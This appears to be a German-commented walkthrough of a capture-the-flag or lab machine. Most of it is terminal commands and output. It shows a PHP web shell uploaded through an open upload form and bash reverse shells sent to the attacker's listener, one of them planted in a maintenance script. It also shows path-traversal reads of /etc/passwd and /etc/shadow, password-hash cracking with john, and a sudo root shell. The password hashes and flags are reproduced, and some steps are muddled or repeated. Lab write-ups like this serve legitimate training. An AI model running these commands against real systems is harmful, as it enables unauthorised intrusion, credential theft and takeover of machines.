Initial Access
view-source:http://192.168.2.125/index.html
-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries -->
-- WARNING: Respond.js doesn't work if you view the page via file:// -->
-- To configure the contact form email address, go to mail/contact_me.php
and update the email address in the PHP file on line 19. -->
-- The form should work on most web servers, but if the form is not working
you may need to configure your web server differently. -->
view-source:http://192.168.2.125/mail/contact_me.php
No arguments Provided!
http://192.168.2.125/upload/upload.php
Send file:
The file is valid and uploaded successfully.
http://192.168.2.125/upload/files/rev.php?cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
┌──(root㉿CCat)-[~]
└─# nc -lvnp 4444
192.168.2.125/upload/files/rev.php?cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.199%2F4444%200%3E%261%27
┌──(root㉿CCat)-[~]
└─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.2.199] from (UNKNWN) [192.168.2.125] 38924
www-data@9dc8d5888c8e:/var/www/html/upload/files$
www-data@9dc8d5888c8e:/var/www/html/upload/files$ stty rows 47 columns 94
www-data@9dc8d5888c8e:/var/www/html/upload/files$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@9dc8d5888c8e:/var/www/html/upload/files$ sudo -l
bash: sudo: command not found
www-data@9dc8d5888c8e:/var/www/html/upload/files$ find / -type f -perm -4000 -ls 2>/dev/null
653905 44 -rwsr-xr-x 1 root root 44528 Jul 27 2018 /usr/bin/chsh
653902 56 -rwsr-xr-x 1 root root 54096 Jul 27 2018 /usr/bin/chfn
653994 44 -rwsr-xr-x 1 root root 44440 Jul 27 2018 /usr/bin/newgrp
654004 64 -rwsr-xr-x 1 root root 63736 Jul 27 2018 /usr/bin/passwd
653951 84 -rwsr-xr-x 1 root root 84016 Jul 27 2018 /usr/bin/gpasswd
653385 52 -rwsr-xr-x 1 root root 51280 Jan 10 2019 /bin/mount
653406 36 -rwsr-xr-x 1 root root 34888 Jan 10 2019 /bin/umount
653400 64 -rwsr-xr-x 1 root root 63568 Jan 10 2019 /bin/su
www-data@9dc8d5888c8e:/var/www/html/upload/files$ getcap -r / 2>/dev/null
www-data@9dc8d5888c8e:/var/www/html/upload/files$ ls -la
total 12
drwxrwxrwx 2 root www-data 4096 Nov 19 21:26 .
drwxr-xr-x 3 root root 4096 Sep 12 2020 ..
-rw-r--r-- 1 www-data www-data 31 Nov 19 21:26 rev.php
www-data@9dc8d5888c8e:/var/www/html/upload/files$ cd ../..
www-data@9dc8d5888c8e:/var/www/html$ ls -la
total 88
drwxr-xr-x 11 root root 4096 Sep 12 2020 .
drwxr-xr-x 1 root root 4096 Sep 10 2020 ..
drwxrwxrwx 2 root 1000 4096 Nov 19 21:21 Maintenance-Web-Docker
drwxr-xr-x 2 root root 4096 Sep 12 2020 css
drwxr-xr-x 6 root root 4096 Sep 12 2020 font-awesome
drwxr-xr-x 2 root root 4096 Sep 12 2020 fonts
drwxr-xr-x 3 root root 4096 Sep 12 2020 img
-rw-r--r-- 1 root root 27263 Sep 12 2020 index.html
drwxr-xr-x 2 root root 4096 Sep 12 2020 js
drwxr-xr-x 2 root root 4096 Sep 12 2020 less
-rw-r--r-- 1 root root 11336 Sep 12 2020 license
drwxr-xr-x 2 root root 4096 Sep 12 2020 mail
-rw-r--r-- 1 root root 278 Sep 12 2020 readme.md
drwxr-xr-x 3 root root 4096 Sep 12 2020 upload
www-data@9dc8d5888c8e:/var/www/html/Maintenance-Web-Docker$ nano list.sh
bash: nano: command not found
www-data@9dc8d5888c8e:/var/www/html/Maintenance-Web-Docker$ vi list.sh
bash: vi: command not found
www-data@9dc8d5888c8e:/var/www/html/Maintenance-Web-Docker$ echo ben
www-data@9dc8d5888c8e:/var/www/html/Maintenance-Web-Docker$ echo -e '#!/bin/bash\n/bin/bash -i >& /dev/tcp/192.168.2.199/9001 0>&1' > list.sh
www-data@9dc8d5888c8e:/var/www/html/Maintenance-Web-Docker$ cat list.sh
#!/bin/bash
/bin/bash -i >& /dev/tcp/192.168.2.199/9001 0>&1
www-data@9dc8d5888c8e:/var/www/html/Maintenance-Web-Docker$ bash list.sh
┌──(root㉿CCat)-[~]
└─# nc -lvnp 9001
┌──(root㉿CCat)-[~]
└─# nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.2.199] from (UNKNWN) [192.168.2.125] 46846
www-data@9dc8d5888c8e:/var/www/html/Maintenance-Web-Docker$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Da der Benutzer www-data eine Shell bekommen hat, suchen wir nach einem Exploit-Pfad, um die Root-Rechte zu eskalieren
www-data@9dc8d5888c8e:/var/www/html/Maintenance-Web-Docker$ cat maintenance.sh
#!/bin/bash
#Version 1.0
#This script monitors the uploaded files. It is a reverse shell monitoring measure.
#path= /home/richard/web/webapp/upload/files/
/home/richard/web/Maintenance-Web-Docker/list.sh
www-data@9dc8d5888c8e:/home$ cd /root/
bash: cd: /root/: Permission denied
www-data@9dc8d5888c8e:/var/www/html/Maintenance-Web-Docker$ cd /home/
www-data@9dc8d5888c8e:/home$ ls
www-data@9dc8d5888c8e:/home$ ls -la
total 8
drwxr-xr-x 2 root root 4096 Jul 10 2020 .
drwxr-xr-x 1 root root 4096 Nov 19 21:20 ..
www-data@9dc8d5888c8e:/var/www/html/Maintenance-Web-Docker$ echo -e '#!/bin/bash\nbash -i >& /dev/tcp/192.168.2.199/9001 0>&1' > list.sh
eine Minute warten dann kommt die Richard Shell
┌──(root㉿CCat)-[~]
└─# nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.2.199] from (UNKNWN) [192.168.2.125] 52934
bash: cannot set terminal process group (1246): Inappropriate ioctl for device
bash: no job control in this shell
richard@EC2$
┌──(root㉿CCat)-[~]
└─# nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.2.199] from (UNKNWN) [192.168.2.125] 52934
bash: cannot set terminal process group (1246): Inappropriate ioctl for device
bash: no job control in this shell
richard@EC2$ sudo -l
Matching Defaults entries for richard on EC2:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
User richard may run the following commands on EC2:
(ALL) NPASSWD: /home/richard/HackTools/socat TCP-LISTEN:8080,fork TCP:127.0.0.1:90
total 44
drwxr-xr-x 5 richard richard 4096 Sep 12 2020 .
drwxr-xr-x 3 root root 4096 Sep 12 2020 ..
-rw- 1 richard richard 326 Sep 13 2020 .bash_history
-rw-r--r-- 1 richard richard 220 Sep 12 2020 .bash_logout
-rw-r--r-- 1 richard richard 3526 Sep 12 2020 .bashrc
drwxr-xr-x 2 root root 4096 Sep 12 2020 HackTools
drwxr-xr-x 3 richard richard 4096 Sep 12 2020 .local
-rw-r--r-- 1 richard richard 807 Sep 12 2020 .profile
-rw-r--r-- 1 richard richard 66 Sep 12 2020 .selected_editor
-rw-r--r-- 1 root root 33 Sep 12 2020 user.txt
drwxr-xr-x 11 root root 4096 Sep 12 2020 web
3a6b99f59ea363803bcafc7f5dd9b1e8
/home/richard/HackTools/socat TCP-LISTEN:8080,fork TCP:127.0.0.1:90
richard@EC2/HackTools$ stty rows 47 columns 94
richard@EC2/HackTools$ id
uid=1000(richard) gid=1000(richard) groups=1000(richard),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth)
richard@EC2/HackTools$ ls -la socat
-rwxr-xr-x 1 root root 375176 Sep 12 2020 socat
richard@EC2/HackTools$ ./socat TCP-LISTEN:8080,fork TCP:127.0.0.1:90
┌──(root㉿CCat)-[~]
└─# nmap -A -p- 192.168.2.125 -Pn --min-rate 5000 | grep open
80/tcp open http Apache httpd 2.4.38 ((Debian))
8080/tcp open http PHP cli server 5.5 or later (PHP 7.3.19-1)
|_http-open-proxy: Proxy might be redirecting requests
http://192.168.2.125:8080/
Main Page About Us Contact
Welcome to our main page!
You know we are the best of our kind, and this is why you are here!
The 'Super Secure Company' is here for you. We guarantee 100% success
to our security audit projects. Among other things, we organise your
network, we reassure for the security of your devices and of course,
we keep hackers away from your Web Application!
view-source:http://192.168.2.125:8080/index.php?view=../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:105:112:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
richard:x:1000:1000:richard,,,:/home/richard:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
view-source:http://192.168.2.125:8080/index.php?view=../../../etc/shadow
root:$6$xfXmYR5ma2qPBiRy$6x7XksSwu7vQeZgG2FJRIluFhKBy3JLK1o50ukWAplQFn88tNrX66IAAWCJ6Elc5TworN1xvM7BgEJpY1lmxR.:18517:0:99999:7:
daemon:*:18517:0:99999:7:
bin:*:18517:0:99999:7:
sys:*:18517:0:99999:7:
sync:*:18517:0:99999:7:
games:*:18517:0:99999:7:
man:*:18517:0:99999:7:
lp:*:18517:0:99999:7:
mail:*:18517:0:99999:7:
news:*:18517:0:99999:7:
uucp:*:18517:0:99999:7:
proxy:*:18517:0:99999:7:
www-data:*:18517:0:99999:7:
backup:*:18517:0:99999:7:
list:*:18517:0:99999:7:
irc:*:18517:0:99999:7:
gnats:*:18517:0:99999:7:
nobody:*:18517:0:99999:7:
_apt:*:18517:0:99999:7:
systemd-timesync:*:18517:0:99999:7:
systemd-network:*:18517:0:99999:7:
systemd-resolve:*:18517:0:99999:7:
messagebus:*:18517:0:99999:7:
avahi-autoipd:*:18517:0:99999:7:
richard:$6$5iGetkCEVXJcWKK1$M8hcEo892yehJfQSorEo2JBwzj/6gRDNvRZwndhWqTYnI6FccnptB.idnG5dySFlpWTlYvghnE/qeh83eTn1:18517:0:99999:7:
systemd-coredump:!!:18517
Es wurde unshadow zum verbinden, mit john und wordlist, wurde das Passwort gefunden.
┌──(root㉿CCat)-[~]
└─# unshadow passwd.txt shadow.txt > unshadowed.txt
┌──(root㉿CCat)-[~]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 16 penMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
richard (296640a3b825115a47b68fc44501c828)
Verbindung zu Richard
┌──(root㉿CCat)-[~]
└─# ssh root@192.168.2.108
The authenticity of host '192.168.2.108 (192.168.2.108)' can't be established. ED25519 key fingerprint is SHA256:qzYkm7MeglkL3QtA6bU4nv7yc8jlb1x7fZ7ALPBohNQ.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.2.108' (ED25519) to the list of known hosts. root@192.168.2.108: Permission denied (publickey,password).
Im Folgenden wird, der User Richard für den Login verwendet, um das System zu infiltrieren:
┌──(root㉿CCat)-[~]
└─# ssh 296640a3b825115a47b68fc44501c828:@192.168.2.108 -t 'bash --noprofile'
296640a3b825115a47b68fc44501c828:@192.168.2.108's password:
Linux 60832e9f188106ec5bcc4eb7709ce592 4.19.0-10-amd64 #1 SMP Debian 4.19.132-1 (2020-07-24) x86_64
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSLUTELY N WARRANTY, to the extent
permitted by applicable law.
richard@EC2/web$ ls
In web/ Ordner
Nun wird der Ordner /home/ inspiziert
richard@EC2/web$ cd /home/
richard@EC2: ls
richard@EC2$ cat /home/richard/user.txt
3a6b99f59ea363803bcafc7f5dd9b1e8
Cat wurde verwendet um den User Key zu erlangen
sudo -l
Matching Defaults entries for richard on EC2:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
User richard may run the following commands on EC2:
(ALL) NPASSWD: /home/richard/HackTools/socat TCP-LISTEN:8080,fork TCP:127.0.0.1:90
Es wird wieder die information herausgesucht socat wird verwendet um einen proxy zuerstellen, damit man auf root zugreifen kann
richard@EC2: nmap -A -p- 192.168.2.125 -Pn --min-rate 5000 | grep open
80/tcp open http Apache httpd 2.4.38 ((Debian))
8080/tcp open http PHP cli server 5.5 or later (PHP 7.3.19-1)
|_http-open-proxy: Proxy might be redirecting requests
-Da der sockat Proxy am Laufen ist wird über diesen, das /etc/passwd und /etc/shadow ausgelesen
view-source:http://192.168.2.125:8080/index.php?view=../../../etc/passwd
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucppublic:/usr/local/libexec/uucico proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534/nonexistent:/usr/sbin/nologin systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin messagebus:x:104:110/nonexistent:/usr/sbin/nologin avahi-autoipd:x:105:112:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin richard:x:1000:1000:richard,,,:/home/richard:/bin/bash systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
view-source:http://192.168.2.125:8080/index.php?view=../../../etc/shadow
root:$6$xfXmYR5ma2qPBiRy$6x7XksSwu7vQeZgG2FJRIluFhKBy3JLK1o50ukWAplQFn88tNrX66IAAWCJ6Elc5TworN1xvM7BgEJpY1lmxR.:18517:0:99999:7:
daemon:*:18517:0:99999:7:
bin:*:18517:0:99999:7:
sys:*:18517:0:99999:7:
sync:*:18517:0:99999:7:
games:*:18517:0:99999:7:
man:*:18517:0:99999:7:
lp:*:18517:0:99999:7:
mail:*:18517:0:99999:7:
news:*:18517:0:99999:7:
uucp:*:18517:0:99999:7:
proxy:*:18517:0:99999:7:
www-data:*:18517:0:99999:7:
backup:*:18517:0:99999:7:
list:*:18517:0:99999:7:
irc:*:18517:0:99999:7:
gnats:*:18517:0:99999:7:
nobody:*:18517:0:99999:7:
_apt:*:18517:0:99999:7:
systemd-timesync:*:18517:0:99999:7:
systemd-network:*:18517:0:99999:7:
systemd-resolve:*:18517:0:99999:7:
messagebus:*:18517:0:99999:7:
avahi-autoipd:*:18517:0:99999:7:
richard:$6$5iGetkCEVXJcWKK1$M8hcEo892yehJfQSorEo2JBwzj/6gRDNvRZwndhWqTYnI6FccnptB.idnG5dySFlpWTlYvghnE/qeh83eTn1:18517:0:99999:7:
systemd-coredump:!!:18517
Es wurden die Passwörter ausgelesen und diese mit Unshadow verbunden.
┌──(root㉿CCat)-[~]
└─# unshadow passwd.txt shadow.txt > unshadowed.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 16 penMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
(richard)
10g 0:00:00:03 DOFT (3/3) 0.0703g/s 653.7Kp/s 653.7Kc/s 653.7KC/s js73..Bismillah
Nach geraumer Rechenzeit des Jhon tools konnte das Root Passwort, für den server erlangt werden.
Da durch Socat und Ssh, die Verbindung zu dem Server steht, kann nun das Root Passwort eingeben werden:
┌──(root㉿CCat)-[~]
└─# ssh richard@192.168.2.108
Es wird nun das zuvor ausgelesene PW eingeben
richard@EC2: id
uid=1000(richard) gid=1000(richard) groups=1000(richard),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth)
Im Folgenden wird mit den sudo rechten, der befehl zu Erlangung der Rootshell verwendet
richard@EC2: sudo /bin/bash
1. cat /root/proof.txt
_ _ _ _ _ _
| | | | | | | | | | |
| | | | ___| | | __| | ___ _ __ ___| |
| |/\| |/ _ \ | | / _` |/ _ \| '_ \ / _ \ |
\ /\ / __/ | | | (_| | (_) | | | | __/_|
\/ \/ \___|_|_| \__,_|\___/|_| |_|\___(_)
07f61ca07bc617f9639b412423b2cc6f
Twitter: @0x04E1
Privilege Escalation erfolgreich.
Flags
user.txt
3a6b99f59ea363803bcafc7f5dd9b1e8
root.txt
07f61ca07bc617f9639b412423b2cc6f
Das auslesen der Root.txt war Erfolgreich!